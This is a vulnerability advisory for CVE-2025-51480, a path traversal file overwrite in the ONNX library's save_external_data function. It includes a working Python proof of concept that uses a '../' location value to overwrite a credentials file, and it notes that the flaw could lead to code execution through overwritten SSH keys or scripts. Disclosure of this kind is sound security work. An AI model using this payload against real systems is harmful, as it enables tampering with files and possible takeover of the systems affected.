Back to Research
CVSS 8.8highCVE-2025-51480

CVE-2025-51480: ONNX Arbitrary File Overwrite in `save_external_data`

Arbitrary file overwrite vulnerability in ONNX library's save_external_data function through path traversal attacks.

Gecko Security Research
Gecko Security Team
1/15/2025

Description

The library's save_external_data function allows arbitrary file overwrite through path traversal. This allows attackers to craft malicious tensor data with specially constructed external_data paths using "../" sequences to escape the intended directory and write to any location on the filesystem where the process has write permissions.

The vulnerability exists because the function does not validate or sanitize the user-controlled path before writing files. This vulnerability is similar to CVE-2024-5187, which affected the download_model_with_test_data function, but impacts a core functionality of ONNX.

Source-Sink

  1. Source: User-controlled input in tensor.external_data field, specifically in the location value
  2. Path: The save_external_data function in external_data_helper.py
  3. Sink: File write operation at path created by joining base_path with user-controlled location:

The function directly joins paths without validating, allowing path traversal via ../ sequences.

PoC

import os
import onnx
from onnx import TensorProto
from onnx.external_data_helper import save_external_data

print(f"ONNX version: {onnx.__version__}")

os.makedirs("/tmp/secure_data", exist_ok=True)
os.makedirs("/tmp/model_workspace", exist_ok=True)

# sensitive file
with open("/tmp/secure_data/credentials.txt", "w") as f:
    f.write("api_key=secret123456789")

print(f"Before: {open('/tmp/secure_data/credentials.txt', 'r').read()}")

# model with path traversal
model = TensorProto()
model.raw_data = b"EXPLOITED" + b"X" * 10

location = model.external_data.add()
location.key = "location"
location.value = "../../../../../../../../tmp/secure_data/credentials.txt" 

position = model.external_data.add()
position.key = "offset"
position.value = "0"

save_external_data(tensor=model, base_path="/tmp/model_workspace")

print(f"After: {open('/tmp/secure_data/credentials.txt', 'r').read()}")

Running this code will overwrite the content of /tmp/secure_data/credentials.txt with "EXPLOITEDXXXXXXXXXX".

Impact

  • Attackers can overwrite any file the process has write permissions for
  • Could lead to RCE by overwriting script files, configuration files, or SSH keys
  • Sensitive files can be corrupted or destroyed

Fix

  • https://github.com/onnx/onnx/pull/7040